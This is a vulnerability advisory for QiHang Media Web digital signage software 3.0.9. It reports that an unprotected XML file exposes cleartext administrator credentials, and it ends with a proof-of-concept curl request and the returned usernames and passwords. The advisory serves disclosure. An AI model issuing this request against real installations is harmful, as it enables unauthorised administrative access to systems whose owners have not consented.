QiHang Media Web (QH.aspx) Digital Signage 3.0.9 Cleartext Credentials Disclosure


Vendor: Shenzhen Xingmeng Qihang Media Co., Ltd.
        Guangzhou Hefeng Automation Technology Co., Ltd.
Product web page: http://www.howfor.com
Affected version: 3.0.9.0

Summary: Digital Signage Software.

Desc: The application suffers from clear-text credentials disclosure vulnerability
that allows an unauthenticated attacker to issue a request to an unprotected directory
that hosts an XML file '/xml/User/User.xml' and obtain administrative login information
that allows for a successful authentication bypass attack.

Tested on: Microsoft Windows Server 2012 R2 Datacenter
           Microsoft Windows Server 2003 Enterprise Edition
           ASP.NET 4.0.30319
           HowFor Web Server/5.6.0.0
           Microsoft ASP.NET Web QiHang IIS Server


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2020-5579
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5579.php


27.07.2020

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$ curl http://192.168.1.1/xml/User/User.xml

<?xml version="1.0" encoding="utf-8"?>
<Users>
  <User id="1" account="admin" password="admin" />
  <User id="2" account="dev" password="dev" />
</Users>